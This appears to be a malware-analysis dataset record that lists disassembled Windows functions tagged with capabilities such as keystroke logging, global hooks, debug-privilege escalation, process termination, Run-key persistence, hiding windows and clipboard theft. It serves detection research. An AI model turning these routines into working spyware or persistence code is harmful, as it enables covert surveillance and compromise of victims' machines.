joyce8/EMBER2024-capa huggingface dataset:
Function at 0x444ff4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4672ac]
cmp byte [eax + 0xc], 0
je 0x445161
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44515a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x468be4], 0
jne 0x445048
push 0x445168
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x445170
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468be4], eax
cmp dword [0x466b10], 0
jne 0x445143
push 0x445180
call sub.kernel32.dll_LoadLibraryA
mov dword [0x466b10], eax
cmp dword [0x466b10], 0
je 0x445143
push 0x44518c
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468be8], eax
push 0x44519c
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468bec], eax
push 0x4451b0
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468bf0], eax
push 0x4451c8
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468bf4], eax
push 0x4451e0
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468bf8], eax
push 0x4451f4
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468bfc], eax
push 0x44520c
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468c00], eax
push 0x445224
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468c04], eax
push 0x445240
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468c08], eax
push 0x44524c
mov eax, dword [0x466b10]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x468c0c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x445161
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x448d90
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004044b4
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x448ddf
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040471c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x450c20
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x450c70]
test si, 4
je 0x450c34
or bl, 1
test si, 8
je 0x450c3e
or bl, 4
test si, 1
je 0x450c48
or bl, 8
test si, 2
je 0x450c52
or bl, 0x10
test si, 0x10
je 0x450c5c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450c6b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x450c74
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x450cac]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450c8d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x450c9c
or bl, 4
test esi, 0x20000000
je 0x450ca7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4572b0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x4572c2
add esp, 0xfffffff0
call fcn.00403aac
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cf1c
mov eax, dword [0x466f98]
mov dword [eax + 4], ebx
mov dword [eax], 0x457654
mov eax, dword [0x466fa4]
mov dword [eax + 4], ebx
mov dword [eax], 0x457660
mov eax, ebx
call fcn.0045766c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x453b34
push eax
push 0
push 0
mov eax, dword [0x4670e0]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41e93c]
call fcn.00420010
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41e93c]
call fcn.00420010
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41e93c]
call fcn.00420010
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00457a8c
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457968
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457968
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x457968
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4573ff
call fcn.00403b04
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45774c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4578f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4578d8
mov dl, 1
mov eax, dword [0x413454]
call fcn.00403718
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004044b4
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4578c7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00445354
test al, al
je 0x4578ba
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x457908
lea eax, [ebp - 0x254]
call fcn.00409560
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4578ba
xor eax, eax
push ebp
push 0x4578b3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x457940
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45789c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040471c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45789c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040471c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4578ba
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4577bd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041759c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4578fe
lea eax, [ebp - 0x260]
call fcn.004044b4
ret

Function at 0x45822c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x468c28]
cmp byte [eax + 0xa5], 0
jne 0x45829d
cmp dword [0x468c40], 0
jne 0x45825e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4581e8
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x468c40], eax
cmp dword [0x468c3c], 0
jne 0x458279
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x468c3c], eax
cmp dword [0x468c44], 0
jne 0x45829d
push esp
push 0
push 0
push 0x45818c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x468c44], eax
pop edx
ret
Function at 0x458394
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4583ab
add esp, 0xfffffff0
call fcn.00403aac
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041cf1c
mov eax, dword [0x4670cc]
cmp word [eax + 2], 0
jne 0x4583d3
mov eax, dword [0x4670cc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004599c8
mov eax, dword [0x467164]
cmp word [eax + 2], 0
jne 0x4583ed
mov eax, dword [0x467164]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00459bc0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x412f64]
call fcn.00403718
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f3bc]
call fcn.004267f0
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x458574
mov eax, dword [0x466ff8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426bc0
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45a130
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x466ff8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c128
test eax, eax
je 0x4584e2
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408ea8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c150
test eax, eax
je 0x4584f6
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.0040471c
mov eax, dword [0x466ef8]
cmp byte [eax], 0
jne 0x45852a
mov eax, ebx
call fcn.0045869c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045a30c
mov eax, ebx
call fcn.0045ac4c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45856a
call fcn.00403b04
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x458910
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x468c28]
cmp dword [eax + 0x30], 0
je 0x4589ba
cmp dword [ebx + 0x94], 0
jne 0x4589b4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4588a0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4589b4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45897a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4589b4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00415604
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x458989
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x459498
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4594cd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004045a4
jmp 0x4594da
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404508
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45a4e8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45a529
mov eax, esi
call fcn.00440ad0
test al, al
je 0x45a529
mov eax, dword [ebx + 0x84]
call fcn.004407cc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45a529
push 0
mov eax, dword [ebx + 0x84]
call fcn.004407cc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x45dab4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
test dl, dl
je 0x45dac5
add esp, 0xfffffff0
call fcn.00403aac
mov ebx, edx
mov esi, eax
cmp byte [ebp + 8], 0
je 0x45dadd
cmp word [ecx], 0x25ff
jne 0x45dadd
add ecx, 2
mov eax, dword [ecx]
mov ecx, dword [eax]
mov dword [esi + 0x14], ecx
mov eax, dword [ebp + 0xc]
sub eax, ecx
sub eax, 5
mov byte [esi + 8], 0xe9
mov edx, eax
and dl, 0xff
mov byte [esi + 9], dl
mov edx, eax
shr edx, 8
and dl, 0xff
mov byte [esi + 0xa], dl
mov edx, eax
shr edx, 0x10
and dl, 0xff
mov byte [esi + 0xb], dl
shr eax, 0x18
and al, 0xff
mov byte [esi + 0xc], al
mov eax, dword [esi + 0x14]
mov al, byte [eax]
mov byte [esi + 0xd], al
mov eax, dword [esi + 0x14]
mov al, byte [eax + 1]
mov byte [esi + 0xe], al
mov eax, dword [esi + 0x14]
mov al, byte [eax + 2]
mov byte [esi + 0xf], al
mov eax, dword [esi + 0x14]
mov al, byte [eax + 3]
mov byte [esi + 0x10], al
mov eax, dword [esi + 0x14]
mov al, byte [eax + 4]
mov byte [esi + 0x11], al
lea eax, [esi + 4]
push eax
push 0x40
push 5
mov eax, dword [esi + 0x14]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x45db58
call fcn.0040c8a4
mov eax, esi
call fcn.0045dbe8
mov eax, esi
test bl, bl
je 0x45db74
call fcn.00403b04
pop dword fs:[0]
add esp, 0xc
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4013b0
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x4013c2
mov eax, dword [0x49a08b]
shl eax, 2
mov dword [0x49a08f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.0047ad40
pop edx
call fcn.0047aca4
call fcn.0047ad80
push 0
call fcn.0047c1d4
pop ecx
push 0x49a034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x49a093], eax
push 0
jmp fcn.00481398

Function at 0x401dc4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov edi, eax
mov eax, 0x49adcc
call fcn.0047b534
push str.SHELL32
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x401e3b
push 2
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esi, eax
mov dword [0x4a47a8], esi
test esi, esi
jne 0x401e4c
mov word [ebp - 0x18], 8
mov edx, str.GetProcAddr_register_error_
lea eax, [ebp - 4]
call fcn.00485610
inc dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.004694e0
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004857e4
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401ee6
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401ee6
cmp dword [0x4a47a0], 0
jne 0x401ed4
push 0x4a47a4
push 0x11
push 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
cmp dword [0x4a47a4], 0
je 0x401ec8
push 8
push 0
lea ecx, [ebp - 0x30]
push ecx
call fcn.0047b1d0
mov eax, dword [0x4a47a4]
add esp, 0xc
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2c], 1
push edx
push 1
push 0x401
push 0xffffffffffffffff
push 0xff
push edi
call dword [0x4a47a8]
mov dword [0x4a47a0], eax
push ebx
call sub.KERNEL32.DLL_FreeLibrary
cmp dword [0x4a47a0], 0
setne al
and eax, 1
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x401ee6
mov ecx, dword [0x4a47a4]
push ecx
call sub.OLE32.DLL_CoTaskMemFree
push ebx
call sub.KERNEL32.DLL_FreeLibrary
xor eax, eax
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4035e4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc98
push ebx
push esi
push edi
mov dword [ebp - 4], eax
lea edi, [ebp - 0x3c]
mov eax, 0x49b6e4
call fcn.0047b534
mov dword [edi + 0x1c], 1
lea edx, [ebp - 4]
lea eax, [ebp - 4]
call fcn.00485648
inc dword [edi + 0x1c]
mov word [edi + 0x10], 8
cmp dword [ebp - 4], 0
je 0x403626
mov edx, dword [ebp - 4]
jmp 0x40362b
mov edx, 0x49a839
mov dword [ebp - 0x40], edx
xor ecx, ecx
mov word [edi + 0x10], 0x14
mov dword [ebp - 8], ecx
xor eax, eax
inc dword [edi + 0x1c]
xor esi, esi
mov word [edi + 0x10], 8
push eax
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40368d
test esi, esi
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp - 8]
dec dword [edi + 0x1c]
call fcn.004857e4
dec dword [edi + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004857e4
pop eax
mov edx, dword [edi]
mov dword fs:[0], edx
jmp 0x4037f7
push 0x128
push 0
lea ecx, [ebp - 0x368]
push ecx
call fcn.0047b1d0
add esp, 0xc
lea eax, [ebp - 0x368]
mov dword [ebp - 0x368], 0x128
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4037be
push pe_nt_image_headers32
push 0
lea edx, [ebp - 0x240]
push edx
call fcn.0047b1d0
add esp, 0xc
lea ecx, [ebp - 0x40]
lea eax, [ebp - 0x240]
lea edx, [ebp - 0x344]
push ecx
push eax
push pe_nt_image_headers32
push edx
call sub.KERNEL32.DLL_GetFullPathNameA
mov word [edi + 0x10], 0x20
lea edx, [ebp - 0x240]
lea eax, [ebp - 0xc]
call fcn.00485610
mov edx, eax
inc dword [edi + 0x1c]
lea eax, [ebp - 8]
call fcn.00485814
dec dword [edi + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004857e4
xor ecx, ecx
lea edx, [ebp - 0x18]
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 4]
inc dword [edi + 0x1c]
call fcn.004859a8
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x344]
push ecx
lea eax, [ebp - 0x10]
mov word [edi + 0x10], 0x2c
call fcn.00485610
inc dword [edi + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x14]
inc dword [edi + 0x1c]
call fcn.004859a8
lea eax, [ebp - 0x14]
pop edx
call fcn.004858c8
push eax
dec dword [edi + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004857e4
dec dword [edi + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004857e4
dec dword [edi + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004857e4
pop eax
test al, al
je 0x4037a9
mov esi, 1
jmp 0x4037be
lea eax, [ebp - 0x368]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x4036c2
push ebx
call sub.KERNEL32.DLL_CloseHandle
test esi, esi
mov edx, 2
setne al
and eax, 1
push eax
lea eax, [ebp - 8]
dec dword [edi + 0x1c]
call fcn.004857e4
dec dword [edi + 0x1c]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004857e4
pop eax
mov edx, dword [edi]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403800
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.ADVAPI32.DLL_OpenProcessToken
test eax, eax
je 0x403872
mov dword [ebp - 0x14], 1
lea edx, [ebp - 0x10]
push edx
push str.SeDebugPrivilege
push 0
call sub.ADVAPI32.DLL_LookupPrivilegeValueA
cmp dword [ebp + 8], 0
je 0x403842
mov ecx, 2
jmp 0x403844
xor ecx, ecx
mov dword [ebp - 8], ecx
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_AdjustTokenPrivileges
call sub.KERNEL32.DLL_GetLastError
test eax, eax
sete bl
and ebx, 1
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40387c
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffcd4
mov ebp, eax
xor eax, eax
xor esi, esi
mov dword [esp], str.null.exe
push eax
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4038a9
mov eax, esi
jmp 0x40397c
push 0x128
push 0
lea edx, [esp + 0x20c]
push edx
call fcn.0047b1d0
add esp, 0xc
mov dword [esp + 0x204], 0x128
lea ecx, [esp + 0x204]
push ecx
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x403974
push pe_nt_image_headers32
push 0
lea eax, [esp + 0xc]
push eax
call fcn.0047b1d0
add esp, 0xc
push esp
lea edx, [esp + 8]
push edx
push pe_nt_image_headers32
lea ecx, [esp + 0x234]
push ecx
call sub.KERNEL32.DLL_GetFullPathNameA
push ebp
lea eax, [esp + 0x22c]
push eax
call fcn.0047b444
add esp, 8
test eax, eax
jne 0x40395e
mov esi, 1
mov eax, dword [esp + 0x20c]
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov edi, eax
test edi, edi
je 0x40395e
push 0
push edi
call sub.KERNEL32.DLL_TerminateProcess
test eax, eax
jne 0x40395e
push 0
push edi
call sub.KERNEL32.DLL_TerminateProcess
test eax, eax
jne 0x40395e
push 0
push edi
call sub.KERNEL32.DLL_TerminateProcess
lea eax, [esp + 0x204]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x4038e1
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
add esp, 0x32c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x403988
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov eax, 0x49b7a8
push ebx
push esi
push edi
call fcn.0047b534
mov word [ebp - 0x30], 8
mov dl, 1
mov eax, dword [0x424bd4]
call fcn.00424cd4
mov ebx, eax
mov edx, reloc.WSOCK32.DLL_bind
mov eax, ebx
call fcn.00485548
mov word [ebp - 0x30], 0x14
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 4]
call fcn.00485610
inc dword [ebp - 0x24]
mov edx, dword [eax]
xor ecx, ecx
mov eax, ebx
call fcn.00424dd8
push eax
dec dword [ebp - 0x24]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004857e4
pop ecx
test cl, cl
je 0x403ac4
mov word [ebp - 0x30], 0x2c
xor eax, eax
mov ecx, dword [0x4a4568]
mov dword [ebp - 8], eax
lea edx, [ebp - 8]
inc dword [ebp - 0x24]
mov eax, dword [ecx]
call fcn.00466674
mov word [ebp - 0x30], 0x20
mov word [ebp - 0x30], 0x38
mov edx, 0x49a882
lea eax, [ebp - 0xc]
call fcn.00485610
inc dword [ebp - 0x24]
xor ecx, ecx
mov edx, dword [eax]
mov dword [ebp - 0x10], ecx
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x10]
mov eax, ebx
call fcn.00424fa0
lea eax, [ebp - 0x10]
lea edx, [ebp - 8]
call fcn.004858e0
push eax
dec dword [ebp - 0x24]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004857e4
dec dword [ebp - 0x24]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004857e4
pop ecx
test cl, cl
je 0x403aa7
mov word [ebp - 0x30], 0x44
mov edx, 0x49a892
lea eax, [ebp - 0x14]
call fcn.00485610
inc dword [ebp - 0x24]
mov edx, dword [eax]
mov ecx, dword [ebp - 8]
mov eax, ebx
call fcn.00424f74
dec dword [ebp - 0x24]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004857e4
mov eax, ebx
call fcn.00424d44
dec dword [ebp - 0x24]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004857e4
mov word [ebp - 0x30], 8
mov esi, ebx
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x403aeb
mov eax, dword [esi]
mov dword [ebp - 0x18], eax
mov word [ebp - 0x30], 0x5c
mov edx, 3
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x30], 0x50
mov word [ebp - 0x30], 0
jmp 0x403afe
mov edx, dword [ebp - 0x40]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408478
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 1
call sub.USER32.DLL_IsClipboardFormatAvailable
test eax, eax
jne 0x408490
xor eax, eax
jmp 0x4084f9
push 0
call sub.USER32.DLL_OpenClipboard
test eax, eax
jne 0x40849f
xor eax, eax
jmp 0x4084f9
push 1
call sub.USER32.DLL_GetClipboardData
mov esi, eax
test esi, esi
je 0x4084e2
push esi
call sub.KERNEL32.DLL_GlobalLock
mov ebx, eax
test ebx, ebx
je 0x4084e2
push ebx
call fcn.0047b2b0
pop ecx
cmp eax, 0xfa00
jl 0x4084d7
push 0xfa00
push ebx
push edi
call fcn.0047b160
add esp, 0xc
jmp 0x4084e2
push eax
push ebx
push edi
call fcn.0047b160
add esp, 0xc
push esi
call sub.KERNEL32.DLL_GlobalUnlock
call sub.USER32.DLL_EmptyClipboard
call sub.USER32.DLL_CloseClipboard
push edi
call fcn.0047b2b0
pop ecx
pop edi
pop esi
pop ebx
pop ebp
ret